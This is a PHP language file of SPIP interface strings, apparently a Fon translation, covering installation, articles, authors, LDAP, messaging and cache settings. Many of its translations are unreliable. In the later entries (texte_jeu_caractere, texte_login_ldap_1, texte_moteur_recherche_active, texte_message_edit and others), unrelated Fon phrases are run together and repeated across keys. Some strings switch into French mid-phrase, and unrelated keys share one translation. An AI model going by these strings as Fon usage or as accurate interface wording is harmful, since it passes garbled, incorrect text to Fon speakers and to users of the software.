'info_base_installee' => 'Tìtòmɛ gbètákɛnxòkplé mi tɔn ô sɔgbè.',
'info_chapeau' => 'gbàkún',
'info_chapeau_2' => 'gbàkún:',
'info_chemin_acces_1' => 'àlì yé ná dó byɔ mɛ ɔ',
'info_chemin_acces_2' => 'àlì yé ná dó byɔ mɛ ɔ.',
'info_chemin_acces_annuaire' => 'àlì yé ná dó byɔ mɛ ɔ',
'info_choix_base' => 'Nɔtɛn àtɔn gɔ̂:',
'info_classement_1' => ' @listù@',
'info_classement_2' => '@listù@',
'info_code_acces' => 'Mi mà wɔn gbètɛn mi tɔn lɛ ó!',
'info_config_suivi_explication' => 'Mi hɛn ɔ mi ná á nyíkɔ ɖò fi',
'info_confirmer_passe' => 'Mi vɔ gbètákɛn mi tɔn sɛɖó:',
'info_connexion_base' => 'Nɔtɛn wè gɔ̂',
'info_connexion_ldap_ok' => 'cácáɖó ɔ fɛwú, mi hɛn me ná yí Nɔtɛn wè gɔ̂ jí.', # MODIF
'info_connexion_mysql' => 'Nɔtɛn ŋkɔnŋkɔn tɔn ɔ ',
'info_connexion_ok' => 'cácáɖó ɔ fɛwú.',
'info_contact' => 'Nɔtɛn',
'info_contenu_articles' => 'wékpá lɛ ',
'info_creation_paragraphe' => 'nú mi ná xò wékpá kplé ɔ mi nɔ lɔn ɖòkpó ɖòkpó', # MODIF
'info_creation_rubrique' => 'cóhwɛ mi nɛ nú wlán jí ɔ, mi ɖó ná ɖè àkpáxwé tɔn hwɛ',
'info_creation_tables' => 'Nɔtɛn ɛnɛ gɔ̂',
'info_creer_base' => 'ɖè gbetá xokplé dévó',
'info_dans_rubrique' => 'ɖò àkpáxwé ɔ mɛ :',
'info_date_publication_anterieure' => 'àzán gùdó tɔn :',
'info_date_referencement' => 'àzán gùdó tɔn :',
'info_derniere_etape' => 'Nɔtɛn gùdó tɔn ɔ!',
'info_derniers_articles_publies' => 'wékpá gùdó tɔn ɔ',
'info_desactiver_messagerie_personnelle' => 'mi hɛn mi ná sú kàbí mi ná hùn wlántɛn gblogblojí é lɔ tɔn.',
'info_descriptif' => 'ɖìɖèmɛ :',
'info_discussion_cours' => 'xó kpó ɖò yìyì wɛ',
'info_ecrire_article' => 'có hwɛ mi nɛ nú wlán jí ɔ, mi ɖó ná ɖè àkpáxwé tɔn hwɛ',
'info_email_envoi' => 'e-mailù',
'info_email_envoi_txt' => 'mi dó gesi bó ná sɛ e-mailù lɛ ɖó:',
'info_email_webmestre' => 'tìtòtì sín e-mailù', # MODIF
'info_entrer_code_alphabet' => 'mi sɔ gbètákɛn ê mi ján zán ɔ:',
'info_envoi_email_automatique' => 'sɛ e-mailù ɖó àzɔn ɖókpó',
'info_envoyer_maintenant' => 'sɛɖó ɖìn',
'info_etape_suivante' => 'mi yí tɛnɔtɛ é bɔɖéwú ɔ jí',
'info_etape_suivante_1' => 'mi yí tɛnɔtɛ é bɔɖéwú ɔ jí.',
'info_etape_suivante_2' => 'mi yí tɛnɔtɛ é bɔɖéwú ɔ jí.',
'info_exportation_base' => 'bíbɛ xóxókplé sɔ yì',
'info_facilite_suivi_activite' => 'bíbɛ xóxókplé sɔ yì',
'info_fichiers_authent' => 'xó xókplé ',
'info_forums_abo_invites' => 'jōnɔ lɛ ní ná nyíkɔ.',
'info_gauche_admin_effacer' => ' wémà é lɔ Tìtòtɔ lɛ kɛɖɛ wɛ síwú dàlɔmɛ.', # MODIF
'info_gauche_admin_tech' => 'wémà é lɔ Tìtòtɔ lɛ kɛɖɛ wɛ síwú dàlɔmɛ', # MODIF
'info_gauche_admin_vider' => 'wémà é lɔ Tìtòtɔ lɛ kɛɖɛ wɛ síwú dàlɔmɛ', # MODIF
'info_gauche_auteurs' => 'Dò fyɔ, mí ná mɔ Tìtòtɔ gblogblojí ɔ tɔn lɛ .',
'info_gauche_auteurs_exterieurs' => 'Dò fyɔ, mí ná mɔ Tìtòtɔ gblogblojí ɔ tɔn lɛ .', # MODIF
'info_gauche_messagerie' => 'Winwlántɛnmɛ nɔ ná bɔ nyɔwlántɔ síwú nɔ ɖɔxó ɖó kpɔ.',
'info_gauche_numero_auteur' => 'nyɔwlántɔ nùmɛló',
'info_gauche_statistiques_referers' => 'wémà é lɔ Tìtòtɔ lɛ kɛɖɛ wɛ síwú dàlɔmɛ',
'info_gauche_visiteurs_enregistres' => 'jōnɔ bíbà sín akɔnŋtà',
'info_generation_miniatures_images' => 'Nú títɛ lɛ ɖê yē zé bló gbètákɛn ná',
'info_gerer_trad' => 'Tìtò tímɛ tɔn lɛ?',
'info_hebergeur_desactiver_envoi_email' => 'e-mailù càcà.',
'info_hier' => 'sɔ tó fí:',
'info_historique_activer' => 'sɔ tó fí',
'info_historique_affiche' => 'zé wàlɔ ɔ xlɛ',
'info_historique_comparaison' => 'kpɔnɖéwú',
'info_historique_desactiver' => 'mi jó kpɔnɖéwú ɔ dó',
'info_historique_texte' => 'mi zé ɖìdyɔ sín àfɔ ɖìɖè xlɛ.',
'info_identification_publique' => 'Nyíkɔ mi tɔn tòbítùn...',
'info_image_process' => 'Mi cyán wàlɔ ɖàgbè lɛ.',
'info_image_process2' => 'Mi cyán wàlɔ ɖàgbè lɛ', # MODIF
'info_informations_personnelles' => 'Tɛnnɔtɛn àtɔ̂n gɔ̂',
'info_inscription_automatique' => 'nyíkɔníná nyɔwlántɔ lɛ tɔn',
'info_jeu_caractere' => 'Wékwín àjì gblogbloji',
'info_jours' => 'Azán lɛ',
'info_laisser_champs_vides' => 'Mi jò tɛnmɛ dó',
'info_langues' => 'Gbè gblogblojí ɔ tɔn',
'info_ldap_ok' => 'jíjlɛmɛ.',
'info_lien_hypertexte' => 'càcàdó :',
'info_liste_redacteurs_connectes' => 'nyɔwlátɔ é ɖò kânú é',
'info_login_existant' => 'nyíkɔ é lɔ kòɖè.',
'info_login_trop_court' => 'nyíkɔ̂ hwè.',
'info_maximum' => 'Bísésé:',
'info_meme_rubrique' => 'Akpáxwé ɖókpó ɔ',
'info_message' => 'wɛn',
'info_message_efface' => 'yè súsú wɛn',
'info_message_en_redaction' => 'yè kpò ɖò wɛn wlàn wɛ',
'info_message_technique' => 'wɛn xwítxwítí :',
'info_messagerie_interne' => 'Winwlántɛnmɛ',
'info_mise_a_niveau_base' => 'Mi lɛ vɔ bló SQL',
'info_mise_a_niveau_base_2' => 'Mi lɛ vɔ bló',
'info_modifier_rubrique' => 'ɖyɔ Akpáxwé ɔ:',
'info_modifier_titre' => 'ɖyɔ Akpáxwé ɔ: @xota@',
'info_mon_site_spip' => 'gblogblojí supipu tɔn cè',
'info_mot_sans_groupe' => '(xókwín máɖó àgùn...)',
'info_moteur_recherche' => 'Mɔ mɔjɛmɛbátɔ',
'info_moyenne' => 'Tɛntímɛ:',
'info_multi_articles' => 'Gbè lɛ sín Akpáxwé ní yí àzɔ?',
'info_multi_cet_article' => 'Gbè wékpá é lɔ tɔn :',
'info_multi_langues_choisies' => 'Mi kɛnklɛn bó sɔ gbè é jló myɔ',
'info_multi_rubriques' => 'Gbè lɛ sín Akpáxwé ní yí àzɔ?',
'info_multi_secteurs' => 'Akpáxwé é lò ɖòkɔ lɛ kɛɖɛ a ?',
'info_nom' => 'E wó',
'info_nom_destinataire' => 'nyíkɔ mɛ ná yí ɔ tɔn',
'info_nom_site' => 'gblogblojí mi tɔn sín nyíkɔ',
'info_nombre_articles' => '@nb_articles@ wékpá,',
'info_nombre_partcipants' => 'mi byɔ kplé mɛ:',
'info_nombre_rubriques' => '@nb_rubriques@ àkpáxwé lɛ,',
'info_nombre_sites' => '@nb_sites@ gblogblojí ,',
'info_non_deplacer' => 'yè mà sɛ wó...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'Supipu hɛn é ná sɛ wɛn gùdótɔn lɛ ɖó.',
'info_non_envoi_liste_nouveautes' => 'Mi sɛ wɛn yɔyɔ lɛ dó ò',
'info_non_modifiable' => 'Yé sín ɖyɔ á',
'info_non_suppression_mot_cle' => 'ŋ jó ná súnsún gbètɛn ɔ á.',
'info_notes' => 'wê',
'info_nouveaux_message' => 'wɛn yɔyɔ',
'info_nouvel_article' => 'wékpá yɔyɔ',
'info_nouvelle_traduction' => 'Tínmɛ ɖévó:',
'info_numero_article' => 'Wékpá nùméló:',
'info_obligatoire_02' => '[dódó]', # MODIF
'info_option_accepter_visiteurs' => 'Mi yí gbè nú jònɔ é ná nyíkɔ lɛ ',
'info_option_faire_suivre' => 'Mi nɔ kpɔn wɛn lɛ ɖò kplékplé ɔ mɛ',
'info_option_ne_pas_accepter_visiteurs' => 'Mi gbɛ nyíkɔ jónɔ é lɔ tɔn ',
'info_options_avancees' => 'wàlɔ é ɖrɛn àfɔ ',
'info_ortho_activer' => 'mi vlɔn nú é nɔ wlán gànjí ɔ ',
'info_ortho_desactiver' => 'mi má vlɔn nú é nɔ wlán gànjí ɔ ',
'info_ou' => 'fítɛ...',
'info_page_interdite' => 'àlì sú',
'info_par_nombre_article' => '(ɖìɖèmɛ wékpá )',
'info_passe_trop_court' => 'gbètákɛn ɔ hwè.',
'info_passes_identiques' => 'gbètákɛn wè lɛ sɔgbè á.',
'info_pense_bete_ancien' => 'Lìntámɛ-Agúɖàgɔ xóxó mi tɔn lɛ', # MODIF
'info_plus_cinq_car' => 'E hú wékwín àtɔ̂n',
'info_plus_cinq_car_2' => '(E hú wékwín àtɔ̂n)',
'info_plus_trois_car' => '(E hú wékwín àtɔn)',
'info_popularite' => 'Tòbítù: @popularite@ ; Jōnɔ: @visites@',
'info_popularite_4' => 'Tòbítùn : @popularite@ ; Jōnɔ : @visites@',
'info_post_scriptum' => 'Gbè ní ná',
'info_post_scriptum_2' => 'Gbè ní ná :',
'info_pour' => 'gbɔn',
'info_preview_admin' => 'Tìtòtɔ lɛ jɛn síwú kpɔn gblogblojí ɔ hwɛ',
'info_preview_comite' => 'Nyɔwlántɔ lɛ jɛn síwú kpɔn gblogblojí ɔ hwɛ',
'info_preview_desactive' => 'wàlɔ kpíkpɔn tɔn sɔ ɖò gbɛ á',
'info_preview_texte' => 'wàlɔ kpíkpɔn tɔn sɔ ɖò gbɛ á',
'info_principaux_correspondants' => 'Xɔntɔn mìtɔn àlɔ mà yì mɛ lɛ',
'info_procedez_par_etape' => 'wàlɔ ɖòkpó ɖòkpó',
'info_procedure_maj_version' => 'wàlɔ ɖòkpó ɖòkpó.',
'info_ps' => 'P.S',
'info_publies' => 'yè sɔ kɛn ná',
'info_question_accepter_visiteurs' => 'Nɛ nyí ɖɔ tìtòmɛ mi tɔn bà ɖɔ é mi ná wlí jōnɔ lɛ hɛn ɔ :',
'info_question_inscription_nouveaux_redacteurs' => 'Mi yí gbè nú nyɔwántɔ yɔyɔ lɛ à.', # MODIF
'info_question_utilisation_moteur_recherche' => 'mi jló ná zán mɔbìbàtɔ supipù tɔn à',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'gblogblojí ɔ sín dɔ',
'info_recharger_page' => 'mi lɛ vɔ jlɔ wémà é lɔ ɖò cɛjú ywɛywɛmɛ.',
'info_recherche_auteur_a_affiner' => 'xókwìn lɛ súkpɔ ɖí"@cherche_auteur@" ; mi lɛ vɔ bà',
'info_recherche_auteur_ok' => 'yè mɔ nyɔwlátɔ gégé"@cherche_auteur@":',
'info_recherche_auteur_zero' => 'xókwìn lɛ « @cherche_auteur@ ».',
'info_recommencer' => 'Mi lɛ νɔ bɛ.',
'info_redacteur_1' => 'Nyɔwlántɔ ',
'info_redacteur_2' => 'Mɛ ɖó àcɛ bó byɔ mɛ(<i>recommandé</i>)',
'info_redacteurs' => 'Nyɔwlántɔ lɛ',
'info_redaction_en_cours' => 'Yé kpó ɖó wíwlán wɛ',
'info_redirection' => 'Mi lɛ vɔ jlɛ',
'info_refuses' => 'Wékpá mi tɔn yè gbɛ ɔ',
'info_reglage_ldap' => 'wàlɔ : jlɔjlɔ tɛnme',
'info_renvoi_article' => 'wàlɔ.Wékpá sɛ yí ê:',
'info_reserve_admin' => 'Tìtòtɔ lɛ kɛɖɛ jɛn sín ɖyɔ nɔtɛn ɔ.',
'info_restreindre_rubrique' => 'Mi ɖè tìtò àkpáxwé ɔ tɔn kpò :',
'info_resultat_recherche' => 'Xógbè yè mɔ lɛ :',
'info_rubriques' => 'àkpáxwé',
'info_rubriques_02' => 'àkpáxwé lɛ',
'info_rubriques_trouvees' => 'àkpáxwé lɛ ɖê yè mɔ̂',
'info_rubriques_trouvees_dans_texte' => 'àkpáxwé lɛ ɖê yè mɔ̂ (ɖò wěmà lɛ mɛ) ',
'info_sans_titre' => 'Xótá ɖè á',
'info_selection_chemin_acces' => 'Mi cyán àlì é byoɔ wégbó ɔ mɛ ɔ :',
'info_signatures' => 'Alɔɖówěmámɛ lɛ',
'info_site' => 'gblogblojí',
'info_site_2' => 'gblogblojí:',
'info_site_min' => 'gblogblojí',
'info_site_reference_2' => 'Gblogblojí yé ɖèkúnú ná ',
'info_site_web' => 'Gblogblojí :', # MODIF
'info_sites' => 'Gblogblojí',
'info_sites_lies_mot' => 'Gblogblojí ɖê cáɖó gbètákɛn ɔ nú ɔ ',
'info_sites_proxy' => 'Mi zán proxy',
'info_sites_trouves' => 'gblogblojí ɖê mɔ lɛ',
'info_sites_trouves_dans_texte' => 'gblogblojí ɖê mɔ lɛ(ɖò wěmámɛ)',
'info_sous_titre' => 'xótákpɛví:',
'info_statut_administrateur' => 'Tìtòtɔ',
'info_statut_auteur' => 'Nyɔwlán sín tìtòmɛ:', # MODIF
'info_statut_efface' => 'súnsún',
'info_statut_redacteur' => 'Nyɔwlántɔ',
'info_statut_utilisateurs_1' => 'nɔtè kpòhùn',
'info_statut_utilisateurs_2' => 'mi cyán nɔtè mɛ̂ ɖò LDAP sín wěmámɛ é nú yé sɔ yéɖé xlɛ ɔ núkɔnnúkɔntɔ̂n..',
'info_suivi_activite' => 'mi ɖò wěgbó ɔ wàlɔ kpɔn wɛ',
'info_surtitre' => 'xótá ɖàxó :',
'info_taille_maximale_vignette' => 'jlɛjlɛmɛ ɖìdè lɛ tɔn :',
'info_terminer_installation' => 'mi hɛn ɔ mi síwú fó tɛnmɛ bíbló.',
'info_texte' => 'wě',
'info_texte_explicatif' => 'wě tìnmɛ',
'info_texte_long' => 'é yá ɔ mi ná sɔ kɛn ní.)',
'info_texte_message' => 'wě wɛn mi tɔn :', # MODIF
'info_texte_message_02' => 'wě wɛn mi tɔn',
'info_titre' => 'xótá :',
'info_total' => 'Bísésé:',
'info_tous_articles_en_redaction' => 'Wékpá lɛ kpó nyí wlánwlántɔ',
'info_tous_articles_presents' => 'Wékpá lɛ yè zéɖò àkpáxwé é lɔ̂',
'info_tous_les' => 'Yé bî:',
'info_tous_redacteurs' => 'nyɔwlántɔ lɛ bí xógbè',
'info_tout_site' => 'Gblògblòjí ɔ bí',
'info_tout_site2' => 'Yé tìnmɛ wěkpâ ɖó gbè ɖé mɛ á.',
'info_tout_site3' => 'Yé tìnmɛ wěkpâ ɖó gbè ɖé mɛ á',
'info_tout_site4' => 'Yé tìnmɛ wěkpâ ɖó gbè ɖé mɛ .',
'info_tout_site5' => 'wěkpâ fɛwú.',
'info_tout_site6' => 'wěkpâ fɛwú jɛn yé sɔ xlɛ
:',
'info_travail_colaboratif' => 'mi wàzɔ ɖó kpɔ ɖò wékpá lɛ jí',
'info_un_article' => 'wěkpâ,',
'info_un_site' => 'Gblògblòjí ,',
'info_une_rubrique' => 'àkpáxwé,',
'info_une_rubrique_02' => 'àkpáxwé',
'info_url' => 'URL :',
'info_url_site' => 'URL Gblògblòjí ɔ tɔn :',
'info_urlref' => 'àlɔwlí :',
'info_utilisation_spip' => 'mi síwú jɛ tìtò ɖiɖèxlɛ tɔn zán jí...',
'info_visites_par_mois' => 'ɖìdèxlɛ sùn ɖòkpó mɛ tɔn:',
'info_visiteur_1' => 'jónɔ ',
'info_visiteur_2' => 'Gblògblòjí',
'info_visiteurs' => 'jónɔ lɛ',
'info_visiteurs_02' => 'jónɔ Gblògblòjí tɔn',
'install_select_langue' => 'bɔ mi jɛ tɛnmɛ blóɖó jí.',
'intem_redacteur' => 'nyɔwlántɔ',
'item_accepter_inscriptions' => 'mi yígbè nú nyíkɔnáná lɛ',
'item_activer_messages_avertissement' => 'mi jɛ sɛn dó jí',
'item_administrateur_2' => 'Tìtótɔ ',
'item_afficher_calendrier' => 'Mi ɖè kalánɖlyé lɛ xlɛ',
'item_autoriser_documents_joints' => 'Mi sɔ wémà dɔɖó wékpá wú',
'item_autoriser_documents_joints_rubriques' => 'Mi sɔ wémà dɔɖó àkpáxwé ɔ mɛ',
'item_choix_administrateurs' => 'Tìtótɔ lɛ',
'item_choix_generation_miniature' => 'Mi tò ɖéxlɛ lɛ cíkícíkí.',
'item_choix_non_generation_miniature' => 'Mi mà tò ɖéxlɛ lɛ cíkícíkí.',
'item_choix_redacteurs' => 'nyɔwlántɔ lɛ',
'item_choix_visiteurs' => 'jónɔ lɛ',
'item_creer_fichiers_authent' => 'Gbètáxó lɛ.htpasswd',
'item_limiter_recherche' => 'Tò nyíkɔ lɛ',
'item_login' => ' nyíkɔ ',
'item_mots_cles_association_articles' => 'Wékpá lɛ',
'item_mots_cles_association_rubriques' => 'àkpáxwé ɔ ',
'item_mots_cles_association_sites' => 'mímàmɛ.',
'item_non' => 'éwó',
'item_non_accepter_inscriptions' => 'yí gbè nú nyíkɔ lɛ ',
'item_non_activer_messages_avertissement' => 'mi jɛ sɛn dó jí',
'item_non_afficher_calendrier' => 'Mi ɖè kalánɖlyé lɛ xlɛ wo',
'item_non_autoriser_documents_joints' => 'Mi sɔ wémà dɔɖó àkpáxwé ɔ mɛ',
'item_non_autoriser_documents_joints_rubriques' => 'Mi sɔ wémà dɔɖó àkpáxwé ɔ mɛ',
'item_non_creer_fichiers_authent' => 'mi má sɔ bló xótá ô',
'item_non_gerer_statistiques' => 'Mi mà Mi bló tìtò lɛ',
'item_non_limiter_recherche' => 'mi vlɔn kàn nú bìbà sɔ yí Gblògblòjí bàɖémɛ jí ',
'item_non_publier_articles' => 'mi má sɔ xlɛ wékpá lɛ có àzán lɛ ní wâ.',
'item_non_utiliser_moteur_recherche' => 'mi má zán mɔ ɔ ',
'item_nouvel_auteur' => 'nyɔwlántɔ yɔyɔ',
'item_nouvelle_rubrique' => 'àkpáxwé yɔyɔ',
'item_oui' => 'ɛ̂',
'item_publier_articles' => 'mi zé wékpá é lɔ lɛ sɔ, é ná bò tɛ nyí àzanɖébú.',
'item_reponse_article' => 'yígbè nú wékpá',
'item_utiliser_moteur_recherche' => 'mi zán xó kléwún lɛ',
'item_visiteur' => 'jònɔ',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'mi zé mɛ̂ gɔn é ná yí ɔ zé gɔn ná',
'lien_ajouter_auteur' => 'mi zé nyɔwlátɔ zé gɔn ná',
'lien_ajouter_participant' => 'mi zé nyɔwlátɔ zé gɔn ná',
'lien_email' => 'e-mailu',
'lien_nom_site' => 'nyíkɔ gblogblojí ɔ tɔn :',
'lien_retirer_auteur' => 'mi ɖè nyɔwlátɔ sín ',
'lien_retrait_particpant' => 'mi ɖè nyɔwlátɔ sín ',
'lien_site' => 'gblogblojí',
'lien_supprimer_rubrique' => 'Sùnsùn àkpáxwé é lɔ',
'lien_tout_deplier' => 'mi vlɔn bí',
'lien_tout_replier' => 'mi blán bí',
'lien_trier_nom' => 'mi cyán nyìkɔmɛ',
'lien_trier_nombre_articles' => 'mi cyán wékpámɛ',
'lien_trier_statut' => 'mi cyán tènìnɔmɛ',
'lien_voir_en_ligne' => 'mi kpɔn ɖò kànnú:',
'logo_article' => 'sɔsí wékpá ɔ tɔn', # MODIF
'logo_auteur' => 'sɔsí nyɔwlántɔ tɔn', # MODIF
'logo_rubrique' => 'sɔsí àkpáxwé ɔ tɔn', # MODIF
'logo_site' => 'sɔsí gblogbljí ɔ tɔn', # MODIF
'logo_standard_rubrique' => 'sɔsí àkpáxwé ɔ tɔn', # MODIF
'logo_survol' => 'sɔsí zìwlɔn tɔn ', # MODIF
// M
'menu_aide_installation_choix_base' => 'mi cyán xógbè lɛ ',
'module_fichier_langue' => 'gbè lɛ sín wěmà ',
'module_raccourci' => 'xásádómɛ',
'module_texte_affiche' => 'wěmà yè ɖéxlɛ',
'module_texte_explicatif' => 'mi zé xásádómɛ ɖé mɛ, yé ná tìnmɛ bléwún ɖò gbɛ lɛ mɛ .',
'module_texte_traduction' => 'gbè sín wěmà « @module@ » ',
'mois_non_connu' => ' yé tùn á ',
// O
'onglet_repartition_actuelle' => 'Hwé élɔ nú',
// S
'statut_admin_restreint' => '(tìto kléwún)', # MODIF
// T
'taille_cache_infinie' => 'tìto kléwún.',
'taille_cache_maxi' => 'tìto kléwún',
'taille_cache_octets' => 'tìto kléwún de @octets@.', # MODIF
'taille_cache_vide' => 'gbàví ɔ jɛ vɔ.',
'taille_repertoire_cache' => 'gbàví ɔ jɛ vɔ',
'text_article_propose_publication' => 'mi kɛnklɛ̂n bó ná lìnlìn mi tɔn ɖé wúɖò kplékplé yé sɔ ɖó dò wɔ mɛ.', # MODIF
'texte_acces_ldap_anonyme_1' => 'mi kɛnklɛ̂n bó ná lìnlìn mi tɔn ɖé wúɖò kplékplé yé sɔ ɖó dò wɔ mɛ',
'texte_admin_effacer_01' => 'mi ná sɔ mɔ àlì gégéréinstallation de SPIP pour recréer une nouvelle base ainsi qu’un premier accès administrateur.',
'texte_adresse_annuaire_1' => 'mi ná sɔ mɔ àlì gégé «localhost».)',
'texte_ajout_auteur' => 'mi ná sɔ mɔ àlì gégé :',
'texte_annuaire_ldap_1' => 'mi ná sɔ mɔ àlì gégé.',
'texte_article_statut' => ':',
'texte_article_virtuel' => 'wékpá é lɔ',
'texte_article_virtuel_reference' => 'wékpá é lɔ.',
'texte_aucun_resultat_auteur' => 'xógbè lɛ "@cherche_auteur@"',
'texte_auteur_messagerie' => 'nyɔwlántɔ lɛ .',
'texte_auteur_messagerie_1' => 'gblogblojí é lɔ nɔ zɔn bɔ mi nɔ sɛ wɛn ɖó bó nɔ lɛ yí wɛn.',
'texte_auteurs' => 'nyɔwlántɔ lɛ ',
'texte_choix_base_1' => 'mi sɔ xóxòkplégbàví mi tɔn :',
'texte_choix_base_2' => 'mɔ SQL nɔ hɛnxóxòkplégbàví',
'texte_choix_base_3' => 'mi cyían ɖê jɛ ɖéwú ɔ:',
'texte_commande_vider_tables_indexation' => 'mi cyían ɖê jɛ ɖéwú ɔ.',
'texte_compresse_ou_non' => '(E lɔ̂ yé síwú xóklpé)',
'texte_compte_element' => '@count@ kwín',
'texte_compte_elements' => '@count@ kwín',
'texte_connexion_mysql' => 'tòbítùntìto kléwúngbàví ɔ jɛ vɔwɛn é lɔ yé sɛ ɖó ɔ mi kɛnklɛ̂n bó ná lìnlìn mi tɔn ɖé wúSQL, kplékplé yé sɔ ɖó dò wɔ mɛ SQL.', # MODIF
'texte_contenu_article' => '(Mi wlán wékpá sín xòmɛ ɖó xásádómɛ.)',
'texte_contenu_articles' => 'gblogblojí é lɔ nɔ zɔn bɔ mi nɔ sɛ wɛn ɖó bó nɔ lɛ yí wɛnxó kléwun lɛ wěmà kléwún ɖé lɛ wɛbɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛmi sɔ xóxòkplégbàví mi tɔn mɔ.',
'texte_crash_base' => 'Nú xóxòkplégbàví gblè ɔ mi síwú lɛ vɔ blóɖó.',
'texte_creer_rubrique' => 'Có mi ná wlán wěmà ɔ mi ɖó ná bló àkpáxwé ɖòkpó hwɛ.',
'texte_date_creation_article' => 'Gbêgbè yé wlán wěmà ɔ :',
'texte_date_publication_anterieure' => 'AZAN ƉÊ YE SƆ WĚMA SƆ XLƐ Ɔ :',
'texte_date_publication_anterieure_nonaffichee' => 'Mi sɔ Azán ɖê yé sɔ wěmà sɔ xlɛ.',
'texte_date_publication_article' => 'Mi sɔ Azán ɖê yé sɔ wěmà sɔ xlɛ :',
'texte_descriptif_petition' => 'mi tìnmɛ xójíjlá ɔ',
'texte_descriptif_rapide' => 'mi tìnmɛ càcàcà',
'texte_effacer_base' => 'mi sùnsùn xóxòkplé sùpípù tɔn ',
'texte_effacer_donnees_indexation' => 'mi sùnsùn xóxòkplé indɛsù tɔn',
'texte_en_cours_validation' => 'wékwín é lɔ ɖò wěmámɛyé mɔ wěmà ɖé ɖò gbè é lɔ mɛ áwékwín ɖê yé mà tùn à lɛ ɔ ɖò vɔvɔmɛ. Zìn yé bó kpɔn àyì é yè b ɖó yèwú ɔ.', # MODIF
'texte_enrichir_mise_a_jour' => 'mi síwú zán kwín é lɔ lɛ».',
'texte_fichier_authent' => 'xó kléwun lɛ wěmà kléwún ɖé lɛ wɛbɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛmi sɔ xóxòkplégbàví mi tɔn mɔnɔ hɛnmi cyían ɖê jɛ ɖéwú ɔ', # MODIF
'texte_informations_personnelles_1' => 'Tìtòmɛ ɔ ná mi àcɛ mi ɖé sú tɔn mi .',
'texte_informations_personnelles_2' => 'Nú mi lɛ ján bló bɔ àcɛ mi tɔn ɖò àzɔ wàwɛ tɛgbɛ ɔ mi síwú', # MODIF
'texte_introductif_article' => '(Có nú mi ná bɛ xó ɔ.)',
'texte_jeu_caractere' => 'vlàvò nú mi gòsínbò dózò nú ɖéxlɛtɔ mi tɔn mi k pɔn àcɛ winwl tɔn E ɖò àkpáxwé ɔ mɛ Tìtòmɛ ɔ ná mi àcɛ mi ɖé sú tɔn mi Nú mi lɛ ján bló bɔ àcɛ mi tɔn ɖò àzɔ wàwɛ tɛgbɛ ɔ mi síwú(balise <tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'vlàvò nú mi gòsínbò dózò nú ɖéxlɛtɔ mi tɔn mi k pɔn àcɛ winwl tɔn E ɖò àkpáxwé ɔ mɛ Tìtòmɛ ɔ ná mi àcɛ mi ɖé sú tɔn mi Nú mi lɛ ján bló bɔ àcɛ mi tɔn ɖò àzɔ wàwɛ tɛgbɛ ɔ mi síwú',
'texte_lien_hypertexte' => '(nɛ nyí ɖɔ wɛn é lɔ kò yí àtɛ ɔ jí ɖá yí ɔ mi xlɛ nɔtɛn URL.)',
'texte_login_ldap_1' => 'vlàvò nú mi gòsínbò dózò nú ɖéxlɛtɔ mi tɔn mi k pɔn àcɛ winwl tɔn E ɖò àkpáxwé ɔ mɛ Tìtòmɛ ɔ ná mi àcɛ mi ɖé sú tɔn mi Nú mi lɛ ján bló bɔ àcɛ mi tɔn ɖò àzɔ wàwɛ tɛgbɛ ɔ mi síwú',
'texte_login_precaution' => 'vlàvò nú mi gòsínbò dózò nú ɖéxlɛtɔ mi tɔn mi k pɔn àcɛ winwl tɔn E ɖò àkpáxwé ɔ mɛ Tìtòmɛ ɔ ná mi àcɛ mi ɖé sú tɔn mi Nú mi lɛ ján bló bɔ àcɛ mi tɔn ɖò àzɔ wàwɛ tɛgbɛ ɔ mi síwú...',
'texte_message_edit' => 'Gbêgbè yé wlán wěmà ɔMi sɔ Azán ɖê yé sɔ wěmà sɔ xlɛàlɔwlí ɖévó lɛ ɖê gòsín gblogblojí é lɔ ján mi tìnmɛ càcàcàxójíjlá ɔmi sɔ ɖidé ɖó wěmà lɛ mɛsùpípù tɔn ',
'texte_mise_a_niveau_base_1' => 'wɛn wékpá tɔn yé sɔ xlɛàlɔwlí yɔyɔ lɛ ná jɛ àtɛ ɔ jími ná sɔ yé xlɛ àzɔn ɖókpó',
'texte_modifier_article' => 'ɖyɔ wékpá ɔ:',
'texte_moteur_recherche_active' => 'vlàvò nú mi gòsínbò dózò nú ɖéxlɛtɔ mi tɔn mi k pɔn àcɛ winwl tɔn E ɖò àkpáxwé ɔ mɛ Tìtòmɛ ɔ ná mi àcɛ mi ɖé sú tɔn mi Nú mi lɛ ján bló bɔ àcɛ mi tɔn ɖò àzɔ wàwɛ tɛgbɛ ɔ mi síwúCó nú mi ná bɛ xó ɔ nɛ nyí ɖɔ wɛn é lɔ kò yí àtɛ ɔ jí ɖá yí ɔ mi xlɛ nɔtɛn àlɔwlí yɔyɔ lɛ ná jɛ àtɛ ɔ jími ná sɔ yé xlɛ àzɔn ɖókpó',
'texte_moteur_recherche_non_active' => 'mɔ̂ ɖò àzɔ wà wɛ á.',
'texte_multilinguisme' => 'vlàvò nú mi gòsínbò dózò nú ɖéxlɛtɔ mi tɔn mi k pɔn àcɛ winwl tɔn E ɖò àkpáxwé ɔ mɛ Tìtòmɛ ɔ ná mi àcɛ mi ɖé sú tɔn mi Nú mi lɛ ján bló bɔ àcɛ mi tɔn ɖò àzɔ wàwɛ tɛgbɛ ɔ mi síwúCó nú mi ná bɛ xó ɔ nɛ nyí ɖɔ wɛn é lɔ kò yí àtɛ ɔ jí ɖá yí ɔ mi xlɛ nɔtɛn ', # MODIF
'texte_multilinguisme_trad' => 'wɛn wékpá tɔn yé sɔ xlɛmi jláɖyɔ wékpá ɔmɔ̂ ɖò àzɔ wà wɛ á.', # MODIF
'texte_non_compresse' => 'xókplé(mɔ mi tɔn sìwú yí wàlɔ é nɛ lɛ á)',
'texte_nouveau_message' => 'wɛn yɔyɔ',
'texte_nouvelle_version_spip_1' => 'wàlɔ sùpípù ɖévó wɛ mi sɔ.',
